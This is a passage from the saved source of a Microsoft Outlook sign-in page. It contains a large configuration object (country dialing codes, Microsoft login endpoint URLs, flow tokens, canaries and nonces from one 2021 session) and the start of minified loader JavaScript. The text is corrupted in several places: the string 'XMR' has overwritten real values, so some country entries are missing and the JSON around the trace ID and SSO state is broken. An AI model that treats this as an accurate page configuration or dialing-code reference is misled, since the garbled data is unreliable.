Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0\u0026client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026protectedtoken=true\u0026claims=%7b%22id_token%22%3a%7b%22xms_cc%22%3a%7b%22values%22%3a%5b%22CP1%22%5d%7d%7d%7d\u0026nonce=637506262504499460.670cbd21-ab10-4461-9a94-d14b528cc43e\u0026state=Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf\u0026allowbacktocommon=True","sCloudInstanceName":"microsoftonline.com","fShowSignInOptionsAsButton":true,"fImprovePhoneDisambig":true,"iMaxStackForKnockoutAsyncComponents":10000,"fShowButtons":true,"urlCdn":"https://aadcdn.msftauth.net/shared/1.0/","urlFooterTOU":"https://www.microsoft.com/en-US/servicesagreement/","urlFooterPrivacy":"https://privacy.microsoft.com/en-US/privacystatement","urlPost":"https://login.microsoftonline.com/common/login","urlPostAad":"https://login.microsoftonline.com/common/login","urlPostMsa":"https://login.live.com/ppsecure/partnerpost.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026flow=fido\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlRefresh":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1","urlCancel":"https://outlook.office.com/owa/","urlResume":"https://login.microsoftonline.com/common/resume?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iPawnIcon":0,"iPollingInterval":1,"sPOST_Username":"","sFT":"AQABAAEAAAD--DLA3VO7QrddgJg7WevrRZTv_7Mb56t0hEeulUDrRcx_PrhgMaupbyATtZfnRmsr18Ns6bZeyhLJ1eOhKOnFIl6As2C4PhDXGxoZYPQCJYMIRRKr8ux4CsNTxcFzaXtH8i4WhcmS7ecGfOwgsEIVNDGwSpUGaJVE5hF95hDnnCNyGK_bhmTqyz6aktMGGx5m07pD2WI8szP5dzRNBTf9nDe5wmALyovRL4QGU3Roof-vR2Aym-8NckBbRT6L6v50qlPGbusTZS0j8w2DjusHfPzbrh99tS7cHYVbUgPuOy1Z7LLWXQzU2PgT72j3DRNleKnyZJHGTzg7SPUzw3eF02PyFz9LuryM90UxKbAU3owifX16Wi7WyrfNIT_L4w7faCgTowaCm1B_wc1vzXm6atwnqmAPiHldhhb-PcNhc5IWpsCYnqSjZ5kxVfd0j7ZQn-82JFyBEWT8g9X8_oxIjc3cTLLMZ5ygI6YaXUul8wNzUbXr039ZNLDxC2Nc4NYgAA","sFTName":"flowToken","sFTCookieName":"ESTSWCTXFLOWTOKEN","sSessionIdentifierName":"code","sCtx":"rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","iProductIcon":-1,"staticTenantBranding":null,"oAppCobranding":{"backgroundLogoIndex":53,"backgroundImageIndex":49,"friendlyAppName":"Outlook"},"iBackgroundImage":2,"arrSessions":[],"fApplicationInsightsEnabled":false,"iApplicationInsightsEnabledPercentage":0,"urlSetDebugMode":"https://login.microsoftonline.com/common/debugmode","fEnableCssAnimation":true,"fAllowGrayOutLightBox":true,"fIsRemoteNGCSupported":true,"desktopSsoConfig":{"isEdgeAnaheimAllowed":true,"iwaEndpointUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/sso?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaSsoProbeUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/ssoprobe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee","iwaIFrameUrlFormat":"https://autologon.microsoftazuread-sso.com/{0}/winauth/iframe?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026isAdalRequest=False","iwaRequestTimeoutInMs":10000,"startDesktopSsoOnPageLoad":false,"progressAnimationTimeout":10000,"isEdgeAllowed":false,"minDssoEdgeVersion":"17","isSafariAllowed":true,"redirectUri":"https://outlook.office.com/owa/","redirectDssoErrorPostParams":{"error":"interaction_required","error_description":"Seamless single sign on failed for the user. This can happen if the user is unable to access on premises AD or intranet zone is not configured correctly\r\nTrace ID: XMRnTimestamp: 2021-03-06 11:19:43Z","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"isIEAllowedForSsoProbe":true,"edgeRedirectUri":"https://autologon.microsoftazuread-sso.com/common/winauth/sso/edgeredirect?client-request-id=d254356d-ffce-4ea7-b0dd-9307eef5b6ee\u0026origin=login.microsoftonline.com\u0026is_redirected=1"},"urlLogin":"https://login.microsoftonline.com/common/reprocess?ctx=rQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1","urlDssoStatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus","iSessionPullType":2,"fUseSameSite":true,"iAllowedIdentities":1,"isGlobalTenant":true,"uiflavor":1001,"urlFidoHelp":"https://go.microsoft.com/fwlink/?linkid=2013738","urlFidoLogin":"https://login.microsoft.com/common/fido/get?uiflavor=Web\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","fIsFidoSupported":true,"fHideLocalAccount":false,"scid":1013,"hpgact":1800,"hpgid":1104,"pgid":"ConvergedSignIn","apiCanary":"AQABAAAAAAD--DLA3VO7QrddgJg7WevrDp27T3oS8EY6IpHrD2G4k144B9L1zo58D_xIvta8EaSnAUAUZl7p_i9bhWqF8eDyv8237lrgE13xRa0hMKbFIrlh_639vZJPXTZuWAWpl0V2OLtqAxS7EA4EbLTXm-4RZeR7f7AS_M5vx6vJZBcev_m_qdWGTIrjPvsAGvzOyHLmqXcCOuoId3Y1LGHqHtfkYMvOjw_KybS9tGdnK1DnMiAA","canary":"RpFH535KI29cVMPt95etwWZEIRUqo+jgHPMhOlilr+w=6:1","correlationId":"d254356d-ffce-4ea7-b0dd-9307eef5b6ee","sessionId":"46cb149f-9658-41b3-b269-70d217634400","locale":{"mkt":"en-US","lcid":1033},"slMaxRetry":2,"slReportFailure":true,"strings":{"desktopsso":{"authenticatingmessage":"Trying to sign you in"}},"enums":{"ClientMetricsModes":{"None":0,"SubmitOnPost":1,"SubmitOnRedirect":2,"InstrumentPlt":4}},"urls":{"instr":{"pageload":"https://login.microsoftonline.com/common/instrumentation/reportpageload","dssostatus":"https://login.microsoftonline.com/common/instrumentation/dssostatus"}},"browser":{"ltr":1,"Firefox":1,"_Win":1,"_M83":1,"_D0":1,"Full":1,"Win81":1,"RE_Gecko":1,"b":{"name":"Firefox","major":83,"minor":0},"os":{"name":"Windows","version":"10.0"},"V":"83.0"},"watson":{"url":"/common/handlers/watson","bundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watson.min_ybdb1ixzkv-fkor2mu6q6w2.js","sbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js","fbundle":"https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js","resetErrorPeriod":5,"maxCorsErrors":-1,"maxInjectErrors":5,"maxErrors":10,"maxTotalErrors":3,"expSrcs":["https://login.microsoftonline.com","https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/",".login.microsoftonline.com"],"envErrorRedirect":true,"envErrorUrl":"/common/handlers/enverror"},"loader":{"cdnRoots":["https://aadcdn.msauth.net/","https://aadcdn.msftauth.net/"],"logByThrowing":true},"serverDetails":{"slc":"ProdSlices","dc":"WUS2","ri":"MW1XXXX","ver":{"v":[2,1,11530,15]},"rt":"2021-03-06T11:19:43","et":52},"country":"US","fBreakBrandingSigninString":true,"fFixIncorrectApiCanaryUsage":true,"bsso":{"initiatePullTimeoutMs":100,"initiatePullTimeoutAction":"continue","rid":"XMR":"end","END_SSO":"end-sso","END_USERS":"end-users"},"forceTiles":true,"nonce":"AwABAAAAAAACAOz_BAD0_9IG1hbpUKFOYYR3vayixNgTGb1hnJ7vvvKBbl_5yS1z8SzReVS2k6qGIinDoJo0LwnH8ZlEM8cA7vnI96yAcIMgAA","overallTimeoutMs":4000,"telemetry":{"type":"TBAuthTelemetry","nonce":"AwABAAEAAAACAOz_BAD0_zAaVTb88660r1knGrRJDQW1Y_gVHcMu1323gMErKm5CKJKROxyGPcxg-oDpuMEzA-seAMmJNXwMSet6OD04-oIcADBRIGgEvHbMzsaVv7YvIAA","reportStates":["end","end-sso","end-users"]},"redirectEndStates":["end","end-users"],"cookieNames":{"aadSso":"AADSSO","winSso":"ESTSSSO","ssoTiles":"ESTSSSOTILES","ssoPulled":"SSOCOOKIEPULLED","userList":"ESTSUSERLIST"},"enabled":true,"type":"windows","reason":"Pull is needed; Forcing tiles experience as silent SSO not allowed"},"urlNoCookies":"https://login.microsoftonline.com/cookiesdisabled","fTrimChromeBssoUrl":true,"inlineMode":5,"fShowCopyDebugDetailsLink":true};
//]]></script> 
<script type="text/javascript">//<![CDATA[
!function(){var e=window,r=e.$Debug=e.$Debug||{},t=e.$Config||{};if(!r.appendLog){var n=[],o=0;r.appendLog=function(e){var r=t.maxDebugLog||25,a=(new Date).toUTCString()+":"+e;n.push(o+":"+a),n.length>r&&n.shift(),o++},r.getLogs=function(){return n}}}(),function(){function e(e,r){function t(a){var i=e[a];if(a<n-1){return void(o.r[i]?t(a+1):o.when(i,function(){t(a+1)}))}r(i)}var n=e.length;t(0)}function r(e,r,a){function i(){var e=!!u.method,o=e?u.method:a[0],i=u.extraArgs||[],s=n.$WebWatson;try{
var c=t(a,!e);if(i&&i.length>0){for(var d=i.length,l=0;l<d;l++){c.push(i[l])}}o.apply(r,c)}catch(e){return void(s&&s.submitFromException&&s.submitFromException(e))}}var u=o.r&&o.r[e];return r=r||this,u&&(u.skipTimeout?i():n.setTimeout(i,0)),u}function t(e,r){return Array.prototype.slice.call(e,r?1:0)}var n=window;n.$Do||(n.$Do={"q":[],"r":[],"removeItems":[],"lock":0,"o":[]});var o=n.$Do;o.when=function(t,n){function a(e){r(e,i,u)||o.q.push({"id":e,"c":i,"a":u})}var i=0,u=[],s=1;"function"==typeof n||(i=n,
s=2);for(var c=s;c<arguments.length;c++){u.push(arguments[c])}t instanceof Array?e(t,a):a(t)},o.register=function(e,t,n){if(!o.r[e]){o.o.push(e);var a={};if(t&&(a.method=t),n&&(a.skipTimeout=n),arguments&&arguments.length>3){a.extraArgs=[];for(var i=3;i<arguments.length;i++){a.extraArgs.push(arguments[i])}}o.r[e]=a,o.lock++;try{for(var u=0;u<o.q.length;u++){var s=o.q[u];s.id==e&&r(e,s.c,s.a)&&o.removeItems.push(s)}}catch(e){throw e}finally{if(0===--o.lock){for(var c=0;c<o.removeItems.length;c++){
for(var d=o.removeItems[c],l=0;l<o.q.length;l++){if(o.q[l]===d){o.q.splice(l,1);break}}}o.removeItems=[]}}}},o.unregister=function(e){o.r[e]&&delete o.r[e]}}(),function(e,r){function t(){if(!i){if(!r.body){return void setTimeout(t)}i=!0,e.$Do.register("doc.ready",0,!0)}}function n(){if(!u){if(!r.body){return void setTimeout(n)}t(),u=!0,e.$Do.register("doc.load",0,!0),a()}}function o(e){(r.addEventListener||"load"===e.type||"complete"===r.readyState)&&t()}function a(){
r.addEventListener?(r.removeEventListener("DOMContentLoaded",o,!1),e.removeEventListener("load",n,!1)):r.attachEvent&&(r.detachEvent("onreadystatechange",o),e.detachEvent("onload",n))}var i=!1,u=!1;if("complete"===r.readyState){return void setTimeout(n)}!function(){r.addEventListener?(r.addEventListener("DOMContentLoaded",o,!1),e.addEventListener("load",n,!1)):r.attachEvent&&(r.attachEvent("onreadystatechange",o),e.attachEvent("onload",n))}()}(window,document),function(){function e(){
